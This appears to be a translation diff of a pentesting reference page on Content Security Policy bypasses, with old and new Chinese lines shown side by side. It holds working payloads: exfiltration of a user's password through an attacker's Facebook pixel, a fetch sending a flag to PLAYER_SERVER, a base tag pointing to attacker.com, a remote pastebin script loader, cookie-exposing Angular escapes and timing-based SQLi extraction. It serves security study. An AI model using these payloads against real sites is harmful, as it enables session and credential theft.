然后,在受害者端,你执行以下代码以初始化 Facebook tracking pixel,使其指向攻击者的 Facebook developer 帐户 app-id 并发出如下的 custom event:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
对于前表中指定的其他七个第三方域,还有许多其他方法可以滥用它们。有关其他第三方滥用的更多解释,请参阅之前的 [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)。
|
||||
对于前表中列出的其余七个第三方域名,还有许多其他可滥用的方法。有关其他第三方滥用的更多说明,请参考之前的 [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)。
|
||||
|
||||
### 通过 RPO(相对路径覆盖)绕过 <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
### 通过 RPO (Relative Path Overwrite) 绕过 <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
除了上述重定向以绕过路径限制外,还有一种称为相对路径覆盖(RPO)的技术,可以在某些服务器上使用。
|
||||
除了上述用于绕过路径限制的重定向之外,还有一种可在某些服务器上使用的技术,称为 Relative Path Overwrite (RPO)。
|
||||
|
||||
例如,如果 CSP 允许路径 `https://example.com/scripts/react/`,则可以通过以下方式绕过:
|
||||
例如,如果 CSP 允许路径 `https://example.com/scripts/react/`,则可以按如下方式绕过:
|
||||
```html
|
||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||
```
|
||||
浏览器最终将加载 `https://example.com/scripts/angular/angular.js`。
|
||||
浏览器最终会加载 `https://example.com/scripts/angular/angular.js`。
|
||||
|
||||
这有效是因为对于浏览器来说,您正在加载一个名为 `..%2fangular%2fangular.js` 的文件,该文件位于 `https://example.com/scripts/react/` 下,这符合 CSP。
|
||||
之所以可行,是因为对于浏览器来说,你正在从 `https://example.com/scripts/react/` 下加载名为 `..%2fangular%2fangular.js` 的文件,而这符合 CSP。
|
||||
|
||||
∑,它们将解码它,有效地请求 `https://example.com/scripts/react/../angular/angular.js`,这等同于 `https://example.com/scripts/angular/angular.js`。
|
||||
随后,它会对其解码,实际请求 `https://example.com/scripts/react/../angular/angular.js`,这等同于 `https://example.com/scripts/angular/angular.js`。
|
||||
|
||||
通过 **利用浏览器和服务器之间 URL 解释的不一致性,可以绕过路径规则**。
|
||||
通过**利用浏览器与服务器在 URL 解释上的不一致,可以绕过路径规则**。
|
||||
|
||||
解决方案是不要在服务器端将 `%2f` 视为 `/`,确保浏览器和服务器之间的一致解释,以避免此问题。
|
||||
解决办法是在服务器端不要将 `%2f` 作为 `/` 处理,确保浏览器和服务器之间的解释一致以避免此问题。
|
||||
|
||||
在线示例:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
### Iframes JS 执行
|
||||
|
||||
@ -363,35 +363,35 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
|
||||
{{#endref}}
|
||||
|
||||
### 缺少 **base-uri**
|
||||
### 缺失 **base-uri**
|
||||
|
||||
如果缺少 **base-uri** 指令,您可以利用它执行 [**悬挂标记注入**](../dangling-markup-html-scriptless-injection/index.html)。
|
||||
如果缺失 **base-uri** 指令,你可以滥用它来执行 [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html)。
|
||||
|
||||
此外,如果 **页面正在使用相对路径加载脚本**(如 `<script src="/js/app.js">`)并使用 **Nonce**,您可以利用 **base** **标签** 使其 **从您自己的服务器加载** 脚本,从而实现 XSS。\
|
||||
如果易受攻击的页面是通过 **httpS** 加载的,请在 base 中使用 httpS URL。
|
||||
此外,如果**页面正在使用相对路径加载脚本**(像 `<script src="/js/app.js">`)并使用 **Nonce**,你可以滥用 **base** **tag** 使其 **加载** 该脚本从 **你自己的服务器,从而实现 XSS.**\
|
||||
如果易受攻击的页面是通过 **httpS** 加载的,请在 base 中使用一个 httpS url。
|
||||
```html
|
||||
<base href="https://www.attacker.com/" />
|
||||
```
|
||||
### AngularJS 事件
|
||||
|
||||
一个特定的政策称为内容安全政策 (CSP) 可能会限制 JavaScript 事件。然而,AngularJS 引入了自定义事件作为替代。在事件中,AngularJS 提供了一个独特的对象 `$event`,引用原生浏览器事件对象。这个 `$event` 对象可以被利用来规避 CSP。值得注意的是,在 Chrome 中,`$event/event` 对象具有一个 `path` 属性,包含一个对象数组,涉及事件的执行链,`window` 对象始终位于末尾。这个结构对于沙箱逃逸策略至关重要。
|
||||
一个称为 Content Security Policy (CSP) 的特定策略可能会限制 JavaScript 事件。不过,AngularJS 提供了自定义事件作为替代。在事件中,AngularJS 暴露了一个特殊对象 `$event`,它引用了原生浏览器事件对象。这个 `$event` 对象可以被利用来绕过 CSP。值得注意的是,在 Chrome 中,`$event/event` 对象具有一个 `path` 属性,包含一个对象数组,该数组涉及事件的执行链,且 `window` 对象总是位于数组末端。这个结构对 sandbox escape 策略至关重要。
|
||||
|
||||
通过将这个数组传递给 `orderBy` 过滤器,可以对其进行迭代,利用终端元素(`window` 对象)触发一个全局函数,如 `alert()`。下面演示的代码片段阐明了这个过程:
|
||||
通过将该数组传入 `orderBy` filter,可以对其进行迭代,利用最后的元素(即 `window` 对象)来触发全局函数,例如 `alert()`。下面的示例代码说明了这一过程:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
该代码片段强调了使用 `ng-focus` 指令触发事件,利用 `$event.path|orderBy` 操作 `path` 数组,并利用 `window` 对象执行 `alert()` 函数,从而揭示 `document.cookie`。
|
||||
该片段强调使用 `ng-focus` 指令来触发事件,使用 `$event.path|orderBy` 来操纵 `path` 数组,并利用 `window` 对象执行 `alert()` 函数,从而暴露 `document.cookie`。
|
||||
|
||||
**在** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) **中查找其他 Angular 绕过方法**
|
||||
**在** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) **中查找其他 Angular 绕过**
|
||||
|
||||
### AngularJS 和白名单域名
|
||||
### AngularJS 与白名单域名
|
||||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
一个在 Angular JS 应用程序中为脚本加载列入白名单的 CSP 策略可以通过调用回调函数和某些易受攻击的类来绕过。有关此技术的更多信息,请参阅此 [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) 中的详细指南。
|
||||
在 Angular JS 应用中,用于脚本加载域的 CSP 策略(白名单)可以通过调用回调函数和某些存在漏洞的类来绕过。关于该技术的更多信息,请参见该 [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) 上的详细指南。
|
||||
|
||||
有效的有效载荷:
|
||||
Working payloads:
|
||||
```html
|
||||
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
|
||||
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
|
||||
@ -399,15 +399,15 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
||||
<!-- no longer working -->
|
||||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
||||
```
|
||||
其他 JSONP 任意执行端点可以在 [**这里**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) 找到(其中一些已被删除或修复)
|
||||
其他 JSONP 任意执行端点可在 [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) 找到(其中一些已被删除或修复)
|
||||
|
||||
### 通过重定向绕过
|
||||
|
||||
当 CSP 遇到服务器端重定向时会发生什么?如果重定向导致到一个不被允许的不同源,它仍然会失败。
|
||||
当 CSP 遇到服务器端重定向时会发生什么?如果重定向指向一个不被允许的不同源,仍然会失败。
|
||||
|
||||
然而,根据 [CSP 规范 4.2.2.3. 路径和重定向](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) 中的描述,如果重定向导致到一个不同的路径,它可以绕过原始限制。
|
||||
然而,根据 [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) 中的描述,如果重定向指向不同的路径,则可以绕过原有的限制。
|
||||
|
||||
这是一个例子:
|
||||
下面是一个示例:
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
@ -425,68 +425,68 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
如果 CSP 设置为 `https://www.google.com/a/b/c/d`,由于路径被考虑,`/test` 和 `/a/test` 的脚本将被 CSP 阻止。
|
||||
If CSP is set to `https://www.google.com/a/b/c/d`, since the path is considered, both `/test` and `/a/test` scripts will be blocked by CSP.
|
||||
|
||||
然而,最终的 `http://localhost:5555/301` 将在服务器端 **重定向到 `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**。由于这是一个重定向,**路径不被考虑**,因此 **脚本可以被加载**,从而绕过路径限制。
|
||||
However, the final `http://localhost:5555/301` will be **redirected on the server-side to `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Since it is a redirection, the **path is not considered**, and the **script can be loaded**, thus bypassing the path restriction.
|
||||
|
||||
通过这种重定向,即使路径完全指定,仍然会被绕过。
|
||||
With this redirection, even if the path is specified completely, it will still be bypassed.
|
||||
|
||||
因此,最佳解决方案是确保网站没有任何开放重定向漏洞,并且 CSP 规则中没有可以被利用的域。
|
||||
Therefore, the best solution is to ensure that the website does not have any open redirect vulnerabilities and that there are no domains that can be exploited in the CSP rules.
|
||||
|
||||
### 通过悬挂标记绕过 CSP
|
||||
### Bypass CSP with dangling markup
|
||||
|
||||
阅读 [how here](../dangling-markup-html-scriptless-injection/index.html)。
|
||||
Read [how here](../dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
### 'unsafe-inline'; img-src \*; 通过 XSS
|
||||
### 'unsafe-inline'; img-src \*; via XSS
|
||||
```
|
||||
default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'` 意味着您可以在代码中执行任何脚本(XSS 可以执行代码),而 `img-src *` 意味着您可以在网页中使用来自任何资源的任何图像。
|
||||
`'unsafe-inline'` 意味着你可以在代码中执行任意脚本(XSS 可以执行代码),而 `img-src *` 意味着你可以在网页中使用来自任意资源的任意图片。
|
||||
|
||||
您可以通过图像提取数据来绕过此 CSP(在这种情况下,XSS 滥用一个 CSRF,其中一个可被机器人访问的页面包含 SQLi,并通过图像提取标志):
|
||||
你可以通过图片将数据外泄来绕过这个 CSP(在本例中,XSS 利用一个 CSRF:一个 bot 可访问的页面包含一个 SQLi,并通过图片提取 flag):
|
||||
```javascript
|
||||
<script>
|
||||
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
|
||||
Image().src='http://PLAYER_SERVER/?'+_)
|
||||
</script>
|
||||
```
|
||||
从: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
来源: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
您还可以利用此配置来**加载插入在图像中的javascript代码**。例如,如果页面允许从Twitter加载图像。您可以**制作**一个**特殊图像**,**将其上传**到Twitter,并利用“**unsafe-inline**”来**执行**一段JS代码(作为常规XSS),该代码将**加载**该**图像**,**提取**其中的**JS**并**执行**它: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
你也可以滥用此配置以**加载插入在图片内的 javascript 代码**。例如,如果页面允许从 Twitter 加载图片。你可以**制作**一个**特殊图片**,将其**上传**到 Twitter 并滥用“**unsafe-inline**”来**执行**一个 JS 代码(像常规的 XSS),该代码会**加载**该**图片**,**提取**其中的 **JS** 并**执行**它: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### 使用服务工作者
|
||||
### With Service Workers
|
||||
|
||||
服务工作者的**`importScripts`**函数不受CSP限制:
|
||||
Service workers 的 **`importScripts`** 函数不受 CSP 限制:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/abusing-service-workers.md
|
||||
{{#endref}}
|
||||
|
||||
### 策略注入
|
||||
### Policy Injection
|
||||
|
||||
**研究:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
||||
**Research:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
||||
|
||||
#### Chrome
|
||||
|
||||
如果您发送的**参数**被**粘贴在** **策略的声明**中,那么您可以以某种方式**更改**该**策略**,使其**无效**。您可以使用以下任何绕过方法**允许脚本 'unsafe-inline'**:
|
||||
如果你发送的一个**参数**被**粘贴到**策略的**声明**中,那么你可以以某种方式**更改**该**策略**使其**失效**。你可以通过下面任一绕过方法**允许 script 'unsafe-inline'**:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
```
|
||||
因为这个指令将**覆盖现有的 script-src 指令**。\
|
||||
你可以在这里找到一个例子: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
因为这个指令会 **overwrite existing script-src directives**。\
|
||||
You can find an example here: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
|
||||
#### Edge
|
||||
|
||||
在 Edge 中更简单。如果你可以在 CSP 中添加这个: **`;_`** **Edge** 将**丢弃**整个**策略**。\
|
||||
例子: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||
在 Edge 中更简单。如果你能在 CSP 中添加这个: **`;_`** **Edge** 会 **drop** 整个 **policy**。\
|
||||
Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||
|
||||
### img-src \*; 通过 XSS (iframe) - 时间攻击
|
||||
### img-src \*; via XSS (iframe) - 时序攻击
|
||||
|
||||
注意缺少指令 `'unsafe-inline'`\
|
||||
这次你可以让受害者通过 **XSS** 使用一个 `<iframe` 加载一个你控制的页面。这次你将让受害者访问你想要提取信息的页面 (**CSRF**)。你无法访问页面的内容,但如果你能**控制页面加载所需的时间**,你就可以提取所需的信息。
|
||||
Notice the lack of the directive `'unsafe-inline'`\
|
||||
This time you can make the victim **load** a page in **your control** via **XSS** with a `<iframe`. This time you are going to make the victim access the page from where you want to extract information (**CSRF**). You cannot access the content of the page, but if somehow you can **control the time the page needs to load** you can extract the information you need.
|
||||
|
||||
这次将提取一个**标志**,每当通过 SQLi **正确猜测一个字符**时,**响应**由于 sleep 函数会**花费更多时间**。然后,你将能够提取标志:
|
||||
This time a **flag** is going to be extracted, whenever a **char 被正确猜出** via SQLi the **响应** takes **更多时间** due to the sleep function. Then, you will be able to extract the flag:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||||
@ -546,24 +546,26 @@ console.log(prefix)
|
||||
run()
|
||||
</script>
|
||||
```
|
||||
### 通过书签小程序
|
||||
### 通过 Bookmarklets
|
||||
|
||||
此攻击将涉及一些社会工程学,攻击者**说服用户将链接拖放到浏览器的书签小程序上**。此书签小程序将包含**恶意的javascript**代码,当被拖放或点击时,将在当前网页窗口的上下文中执行,**绕过CSP并允许窃取敏感信息**,例如cookies或tokens。
|
||||
这种攻击通常涉及社交工程,攻击者会**说服用户将链接拖放到浏览器的 bookmarklet 上**。该 bookmarklet 会包含**malicious javascript**代码,当被 drag\&dropped 或点击时,会在当前网页窗口的上下文中执行,**bypassing CSP 并允许窃取敏感信息**,例如 cookies 或 tokens。
|
||||
|
||||
有关更多信息,请[**查看原始报告**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。
|
||||
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### 通过限制CSP绕过CSP
|
||||
### 通过限制 CSP 绕过 CSP
|
||||
|
||||
在[**这个CTF写作**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)中,CSP通过在允许的iframe内注入更严格的CSP来绕过,该CSP不允许加载特定的JS文件,然后通过**原型污染**或**DOM覆盖**允许**滥用不同的脚本来加载任意脚本**。
|
||||
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**.
|
||||
|
||||
您可以使用**`csp`**属性**限制iframe的CSP**:
|
||||
你可以使用 **`csp`** 属性来 **限制 Iframe 的 CSP**:
|
||||
```html
|
||||
<iframe
|
||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
```
|
||||
在[**这个CTF写作**](https://github.com/aszx87410/ctf-writeups/issues/48)中,通过**HTML注入**可以**进一步限制**一个**CSP**,从而禁用防止CSTI的脚本,因此**漏洞变得可利用。**\
|
||||
可以使用**HTML元标签**使CSP变得更加严格,并且可以通过**移除**允许其**nonce**的**入口**来禁用内联脚本,并通过sha**启用特定的内联脚本:
|
||||
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), it was possible via **HTML injection** to **restrict** more a **CSP** so a script preventing CSTI was disabled and therefore the **vulnerability became exploitable.**\
|
||||
在 [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), 通过 **HTML injection** 可以进一步收紧 **CSP**,从而导致用于防止 CSTI 的脚本被禁用,因此该 **漏洞变得可被利用。**\
|
||||
CSP can be made more restrictive using **HTML meta tags** and inline scripts can disabled **removing** the **entry** allowing their **nonce** and **enable specific inline script via sha**:
|
||||
CSP 可以通过 **HTML meta tags** 变得更严格,inline scripts 可以通过**移除**允许其 **nonce** 的 **entry** 来被禁用,并通过 **sha** 启用特定的 inline script:
|
||||
```html
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
@ -572,51 +574,69 @@ content="script-src 'self'
|
||||
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
||||
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
|
||||
```
|
||||
### JS exfiltration with Content-Security-Policy-Report-Only
|
||||
### JS exfiltration 使用 Content-Security-Policy-Report-Only
|
||||
|
||||
如果你能够使服务器响应带有 **`Content-Security-Policy-Report-Only`** 头部且 **值由你控制**(可能是因为 CRLF),你可以使其指向你的服务器,并且如果你 **将** 你想要外泄的 **JS 内容** 包裹在 **`<script>`** 中,并且因为 CSP 很可能不允许 `unsafe-inline`,这将 **触发 CSP 错误**,并且包含敏感信息的部分脚本将从 `Content-Security-Policy-Report-Only` 发送到服务器。
|
||||
如果你能让服务器返回头部 **`Content-Security-Policy-Report-Only`** 且该头的 **由你控制的值**(可能是因为 CRLF),你可以让它指向你的服务器;如果你用 **`<script>`** 包裹你想 exfiltrate 的 **JS content**,并且由于 CSP 很可能不允许 `unsafe-inline`,这会 **触发 CSP 错误**,脚本的一部分(包含敏感信息)将通过 `Content-Security-Policy-Report-Only` 发送到服务器。
|
||||
|
||||
对于示例 [**查看这个 CTF 写作**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)。
|
||||
For an example [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
||||
```javascript
|
||||
document.querySelector("DIV").innerHTML =
|
||||
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
|
||||
```
|
||||
### 利用CSP和Iframe泄露信息
|
||||
### Leaking Information with CSP and Iframe
|
||||
|
||||
- 创建一个指向URL的`iframe`(我们称之为`https://example.redirect.com`),该URL被CSP允许。
|
||||
- 该URL随后重定向到一个秘密URL(例如,`https://usersecret.example2.com`),该URL在CSP中**不被允许**。
|
||||
- 通过监听`securitypolicyviolation`事件,可以捕获`blockedURI`属性。该属性揭示了被阻止的URI的域名,从而泄露了初始URL重定向的秘密域名。
|
||||
- 创建了一个指向某个 URL 的 `iframe`(比如称为 `https://example.redirect.com`),该 URL 被 CSP 允许。
|
||||
- 该 URL 随后重定向到一个秘密 URL(例如 `https://usersecret.example2.com`),该 URL 被 CSP **不允许**。
|
||||
- 通过监听 `securitypolicyviolation` 事件,可以捕获 `blockedURI` 属性。该属性会暴露被阻止的 URI 的域名,leaking 出初始 URL 所重定向到的秘密域名。
|
||||
|
||||
有趣的是,像Chrome和Firefox这样的浏览器在处理与CSP相关的iframes时表现不同,可能导致由于未定义行为而泄露敏感信息。
|
||||
值得注意的是,像 Chrome 和 Firefox 这样的浏览器在处理与 CSP 相关的 `iframe` 时行为不同,这种未定义行为可能导致敏感信息的 leakage。
|
||||
|
||||
另一种技术涉及利用CSP本身推断秘密子域。该方法依赖于二分搜索算法,并调整CSP以包含故意被阻止的特定域。例如,如果秘密子域由未知字符组成,可以通过修改CSP指令来阻止或允许这些子域,逐步测试不同的子域。以下是一个片段,展示了如何设置CSP以促进此方法:
|
||||
另一种技术是利用 CSP 本身来推断秘密子域。该方法依赖于二分查找算法,并通过调整 CSP 以包含特定的、被故意阻止的域名来实现。例如,如果秘密子域由未知字符组成,你可以通过迭代地测试不同的子域名,修改 CSP 指令以阻止或允许这些子域。下面是一个代码片段,展示了如何设置 CSP 以便实施该方法:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
通过监控CSP阻止或允许的请求,可以缩小秘密子域名中可能的字符范围,最终揭示完整的URL。
|
||||
通过监控哪些请求被 CSP 阻止或允许,可以逐步缩小秘密子域名中可能的字符,最终发现完整的 URL。
|
||||
|
||||
这两种方法利用了CSP在浏览器中的实现和行为的细微差别,展示了看似安全的策略如何无意中泄露敏感信息。
|
||||
这两种方法都利用了浏览器中 CSP 实现和行为的细微差别,展示了看似安全的策略如何无意中 leak 敏感信息。
|
||||
|
||||
技巧来自[**这里**](https://ctftime.org/writeup/29310)。
|
||||
技巧来自 [**here**](https://ctftime.org/writeup/29310).
|
||||
|
||||
## 绕过CSP的危险技术
|
||||
## Unsafe Technologies to Bypass CSP
|
||||
|
||||
### 参数过多时的PHP错误
|
||||
### PHP Errors when too many params
|
||||
|
||||
根据[**这个视频中评论的最后一种技术**](https://www.youtube.com/watch?v=Sm4G6cAHjWM),发送过多参数(1001个GET参数,尽管你也可以使用POST参数和超过20个文件)。任何在PHP网页代码中定义的**`header()`**都**不会被发送**,因为这会触发错误。
|
||||
According to the [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), sending too many parameters (1001 GET parameters although you can also do it with POST params and more that 20 files). Any defined **`header()`** in the PHP web code **won't be sent** because of the error that this will trigger.
|
||||
|
||||
### PHP响应缓冲区溢出
|
||||
### PHP response buffer overload
|
||||
|
||||
PHP默认情况下**缓冲响应到4096**字节。因此,如果PHP显示警告,通过提供**足够的数据在警告中**,**响应**将在**CSP头**之前**发送**,导致头被忽略。\
|
||||
然后,这种技术基本上是**用警告填充响应缓冲区**,以便CSP头不被发送。
|
||||
PHP is known for **buffering the response to 4096** bytes by default. Therefore, if PHP is showing a warning, by providing **enough data inside warnings**, the **response** will be **sent** **before** the **CSP header**, causing the header to be ignored.\
|
||||
Then, the technique consists basically in **filling the response buffer with warnings** so the CSP header isn't sent.
|
||||
|
||||
想法来自[**这个写作**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)。
|
||||
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
### 重写错误页面
|
||||
### Kill CSP via max_input_vars (headers already sent)
|
||||
|
||||
根据[**这个写作**](https://blog.ssrf.kr/69),似乎可以通过加载一个错误页面(可能没有CSP)并重写其内容来绕过CSP保护。
|
||||
Because headers must be sent before any output, warnings emitted by PHP can invalidate later `header()` calls. If user input exceeds `max_input_vars`, PHP throws a startup warning first; any subsequent `header('Content-Security-Policy: ...')` will fail with “headers already sent”, effectively disabling CSP and allowing otherwise-blocked reflective XSS.
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
echo $_GET['xss'];
|
||||
```
|
||||
示例:
|
||||
```bash
|
||||
# CSP in place → payload blocked by browser
|
||||
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
|
||||
|
||||
# Exceed max_input_vars to force warnings before header() → CSP stripped
|
||||
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
|
||||
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
|
||||
# Warning: Cannot modify header information - headers already sent
|
||||
```
|
||||
### Rewrite Error Page
|
||||
|
||||
从 [**this writeup**](https://blog.ssrf.kr/69) 看起来可以通过加载错误页面(可能没有 CSP)并重写其内容来 bypass CSP 保护。
|
||||
```javascript
|
||||
a = window.open("/" + "x".repeat(4100))
|
||||
setTimeout(function () {
|
||||
@ -625,40 +645,40 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME是一种利用XSS(或高度限制的XSS)**在页面的一个端点**中**滥用****同一源的其他端点。** 这通过从攻击者页面加载易受攻击的端点,然后将攻击者页面刷新到您想要滥用的同一源的真实端点来实现。这样,**易受攻击的端点**可以在**有效载荷**中使用**`opener`**对象来**访问**要滥用的**真实端点的DOM**。有关更多信息,请查看:
|
||||
SOME 是一种利用 XSS(或受限 XSS)的技术,**在页面的某个端点****滥用** **相同源的其他端点。** 它的做法是从攻击者页面加载易受攻击的端点,然后将攻击者页面刷新到你想滥用的相同源的真实端点。这样,**易受攻击的端点**可以在**`opener`**对象在**payload**中使用来**访问 DOM**以滥用**真实端点**。更多信息请参见:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
{{#endref}}
|
||||
|
||||
此外,**wordpress**在`/wp-json/wp/v2/users/1?_jsonp=data`中有一个**JSONP**端点,该端点将**反射**输出中发送的**数据**(仅限字母、数字和点的限制)。
|
||||
Moreover, **wordpress** has a **JSONP** endpoint in `/wp-json/wp/v2/users/1?_jsonp=data` that will **reflect** the **data** sent in the output (with the limitation of only letter, numbers and dots).
|
||||
|
||||
攻击者可以利用该端点**生成针对WordPress的SOME攻击**并将其嵌入`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`中,请注意这个**脚本**将被**加载**,因为它是**被'self'允许的**。此外,由于安装了WordPress,攻击者可能会通过**易受攻击的** **回调**端点滥用**SOME攻击**,该端点**绕过CSP**以给予用户更多权限,安装新插件...\
